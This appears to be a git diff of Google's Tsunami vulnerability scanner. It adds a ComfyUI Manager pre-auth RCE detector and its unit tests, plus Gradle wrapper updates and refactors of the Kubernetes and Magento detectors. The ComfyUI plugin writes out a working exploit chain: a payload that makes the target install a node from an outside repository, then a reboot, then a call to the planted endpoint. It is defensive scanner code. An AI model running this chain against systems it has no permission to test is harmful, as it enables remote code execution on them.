"%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/doyensec/detectors/comfyui_preauth_rce/settings.gradle b/doyensec/detectors/comfyui_preauth_rce/settings.gradle new file mode 100644 index 000000000..7c34eba25 --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'comfyui-manager-remote-code-execution' diff --git a/doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecution.java b/doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecution.java new file mode 100644 index 000000000..d527e3b11 --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecution.java @@ -0,0 +1,294 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.rce; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; + +/** A Tsunami plugin that detects a Pre-Auth Remote Code Execution in ComfyUI. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "ComfyUI Manager RCE via Custom Node Install", + version = "0.1", + description = + "This plugin detects an unauthenticated remote code execution in ComfyUI Manager.", + author = "Savino Sisco (savio@doyensec.com), Leonardo Giovannini (leonardo@doyensec.com)", + bootstrapModule = ComfyUiRemoteCodeExecutionBootstrapModule.class) +public final class ComfyUiRemoteCodeExecution implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = "ComfyUI Manager RCE via Custom Node Install"; + + private static final String PAYLOAD = + "{\n" + + " \"id\": \"ComfyUI-tsunami-payload\",\n" + + " \"version\": \"nightly\",\n" + + " \"selected_version\": \"nightly\",\n" + + " \"skip_post_install\": false,\n" + + " \"ui_id\": \"\",\n" + + " \"mode\": \"remote\",\n" + + " \"repository\": \"https://github.com/ltdrdata/ComfyUI-Manager\",\n" + + " \"channel\":" + + " \"https://raw.githubusercontent.com/doyensec/ComfyUI-tsunami-payload/be4a85a\"\n" + + "}"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a ComfyUI instance vulnerable to remote code execution. The" + + " vulnerability can be exploited by sending a sequence of unauthenticated HTTP requests" + + " that would clone an arbitrary repository, reboot the instance and executes arbitrary" + + " commands."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via response matching."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = "Update the ComfyUI instance."; + + @VisibleForTesting static final String VERSION_ENDPOINT = "api/manager/version"; + + @VisibleForTesting static final String INSTALL_ENDPOINT = "api/manager/queue/install"; + + @VisibleForTesting static final String QUEUE_START_ENDPOINT = "api/manager/queue/start"; + + @VisibleForTesting static final String REBOOT_ENDPOINT = "api/manager/reboot"; + + @VisibleForTesting static final String EXPLOIT_ENDPOINT = "tsunami_vulnerability_check"; + + @VisibleForTesting + static final String CLEANUP_ENDPOINT = "tsunami_vulnerability_check_remove?delete=1"; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + + @Inject + ComfyUiRemoteCodeExecution(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue("COMFYUI_2025_PREAUTH_RCE")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + + // This is the main entry point of VulnDetector. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("ComfyUI Manager RCE starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isComfyUi) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + /* + * Fingerprint phase for ComfyUI. + * This detects the service and the version + */ + private boolean isComfyUi(NetworkService networkService) { + String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + HttpResponse response; + try { + response = this.httpClient.send(req, networkService); + Document doc = Jsoup.parse(response.bodyString().get()); + // Checking if the service is ComfyUI + String title = doc.title(); + if (title.contains("ComfyUI")) { + // Checking the version + targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT; + req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + response = this.httpClient.send(req, networkService); + return true; + } else { + return false; + } + } catch (IOException e) { + return false; + } + } + + // Checks whether a given ComfyUI instance is exposed and vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + // The first HTTP request is used to enqueue the install task + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + String targetUri = rootUrl + INSTALL_ENDPOINT; + logger.atInfo().log("Sending payload to '%s'", targetUri); + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(PAYLOAD)) + .build(); + HttpResponse response = null; + try { + response = this.httpClient.send(req, networkService); + if (response.status() != HttpStatus.OK) { + logger.atWarning().log("Received unexpected response status code to node install request"); + return false; + } + + // Task enqueued. The next request will start the queue + targetUri = rootUrl + QUEUE_START_ENDPOINT; + req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + + response = this.httpClient.send(req, networkService); + + if (response.status() != HttpStatus.OK) { + logger.atWarning().log("Received unexpected response status code to queue start request"); + return false; + } + + // Give the server 10s to download and install the custom plugin + logger.atInfo().log("Waiting 10 seconds for the instance to install the custom node"); + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10)); + + // Rebooting instance. + targetUri = rootUrl + REBOOT_ENDPOINT; + logger.atInfo().log("Rebooting instance"); + req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + try { + response = this.httpClient.send(req, networkService); + } catch (IOException e) { + // The exception here is expected as the server will close the connection abruptly + } + + // Wait for the instance to come back online + targetUri = rootUrl + VERSION_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + int attempts = 0; + HttpClient client = httpClient.modify().setConnectTimeout(Duration.ofSeconds(1)).build(); + // Check every 10 seconds, max 6 times + do { + logger.atInfo().log("Waiting 10s for the instance to come back online..."); + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10)); + try { + response = client.send(req, networkService); + if (response.status() == HttpStatus.OK) { + logger.atInfo().log("Instance is back online."); + break; + } + } catch (IOException ignored) { + // Exception is ignored. + } + } while (attempts++ < 6); + + // Query our custom endpoint + targetUri = rootUrl + EXPLOIT_ENDPOINT + "?str1=TSUNAMI&str2=SECURITY&str3=SCANNER"; + logger.atInfo().log("Querying the new endpoint: %s", targetUri); + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + response = this.httpClient.send(req, networkService); + + // Verify the response matches the expected value + if (response.status() != HttpStatus.OK + || !response.bodyString().orElse("").equals("TSUNAMIYTIRUCESSCANNER")) { + logger.atWarning().log( + "Received unexpected response. Status code: %d - Body: %s", + response.status().code(), response.bodyString().orElse("")); + } + logger.atInfo().log("Remote Code Execution Confirmed"); + + // Clean up + targetUri = rootUrl + CLEANUP_ENDPOINT; + req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + this.httpClient.send(req, networkService); + return true; + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request failed"); + return false; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorBootstrapModule.java b/doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionBootstrapModule.java similarity index 68% rename from community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorBootstrapModule.java rename to doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionBootstrapModule.java index 36402681d..710be5566 100644 --- a/community/detectors/mlflow_cve_2023_6977/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236977/Cve20236977DetectorBootstrapModule.java +++ b/doyensec/detectors/comfyui_preauth_rce/src/main/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionBootstrapModule.java @@ -1,5 +1,5 @@ /* - * Copyright 2024 Google LLC + * Copyright 2025 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -13,15 +13,16 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.cves.cve20236977; + +package com.google.tsunami.plugins.detectors.comfyui.rce; import com.google.tsunami.plugin.PluginBootstrapModule; -/** An CVE-2023-6977 Guice module that bootstraps the {@link Cve20236977Detector}. */ -public final class Cve20236977DetectorBootstrapModule extends PluginBootstrapModule { +/** A Guice module that bootstraps the {@link ComfyUiRemoteCodeExecution}. */ +public final class ComfyUiRemoteCodeExecutionBootstrapModule extends PluginBootstrapModule { @Override protected void configurePlugin() { - registerPlugin(Cve20236977Detector.class); + registerPlugin(ComfyUiRemoteCodeExecution.class); } } diff --git a/doyensec/detectors/comfyui_preauth_rce/src/test/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionTest.java b/doyensec/detectors/comfyui_preauth_rce/src/test/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionTest.java new file mode 100644 index 000000000..f01b4eb6c --- /dev/null +++ b/doyensec/detectors/comfyui_preauth_rce/src/test/java/com/google/tsunami/plugins/detectors/comfyui/rce/ComfyUiRemoteCodeExecutionTest.java @@ -0,0 +1,196 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.rce; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.CLEANUP_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.EXPLOIT_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.INSTALL_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.QUEUE_START_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.REBOOT_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.rce.ComfyUiRemoteCodeExecution.VERSION_ENDPOINT; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link ComfyUiRemoteCodeExecution}. */ +@RunWith(JUnit4.class) +public final class ComfyUiRemoteCodeExecutionTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2025-03-03T11:30:00.00Z")); + + @Bind(lazy = true) + private final int oobSleepDuration = 0; + + @Inject private ComfyUiRemoteCodeExecution detector; + private MockWebServer mockWebServer = new MockWebServer(); + + private static final String VERSION = "3.25.1"; + + private static final String VULNERABLE_RESPONSE = "TSUNAMIYTIRUCESSCANNER"; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + } + + @After + public void tearDown() throws Exception { + mockWebServer.shutdown(); + } + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + Modules.override(new ComfyUiRemoteCodeExecutionBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_reportsCriticalVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(httpServices.get(0)) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(8); + } + + @Test + public void detect_whenNotVulnerable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + } + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + + public EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getMethod().equals("GET") && recordedRequest.getPath().equals("/")) { + if (isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("ComfyUI"); + } else { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(""); + } + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + QUEUE_START_ENDPOINT)) { + // Trigger request + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("POST") + && recordedRequest.getPath().equals("/" + INSTALL_ENDPOINT)) { + // Exploit attempt + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("" + REBOOT_ENDPOINT)) { + // File leak + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(VERSION); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + CLEANUP_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().contains("/" + EXPLOIT_ENDPOINT)) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(VULNERABLE_RESPONSE); + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar and b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties +++ b/doyensec/detectors/kubernetes_rce_via_open_access/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/gradlew b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew index 1aa94a426..23d15a936 100755 --- a/doyensec/detectors/kubernetes_rce_via_open_access/gradlew +++ b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat +++ b/doyensec/detectors/kubernetes_rce_via_open_access/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java index ce4326d77..181547328 100644 --- a/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java +++ b/doyensec/detectors/kubernetes_rce_via_open_access/src/main/java/com/google/tsunami/plugins/detectors/rce/kubernetes/RCEInKubernetesClusterWithOpenAccessDetector.java @@ -146,6 +146,24 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(vulnSeverity) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData(TextData.newBuilder().setText(VULNERABILITY_REPORT_DETAILS))) + .build()); + } + // Checks whether a given Kubernetes service is exposed and vulnerable. private boolean isServiceVulnerable(NetworkService networkService) { @@ -269,19 +287,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(vulnSeverity) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(VULNERABILITY_REPORT_DETAILS)))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index c5da92225..46ed470a2 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -90,17 +90,6 @@ public final class MagentoCosmicStingXxe implements VulnDetector { + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" + " information.\n"; - @VisibleForTesting - static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = - VULNERABILITY_REPORT_DESCRIPTION_BASIC - + "The vulnerability was confirmed via an out of band callback."; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING = - VULNERABILITY_REPORT_DESCRIPTION_BASIC - + "The vulnerability was confirmed via response matching only, as the Tsunami Callback" - + " Server was not available."; - @VisibleForTesting static final String VULNERABILITY_REPORT_RECOMMENDATION = "Install the latest security patches and rotate your encryption keys. More detailed" @@ -149,6 +138,11 @@ public final class MagentoCosmicStingXxe implements VulnDetector { 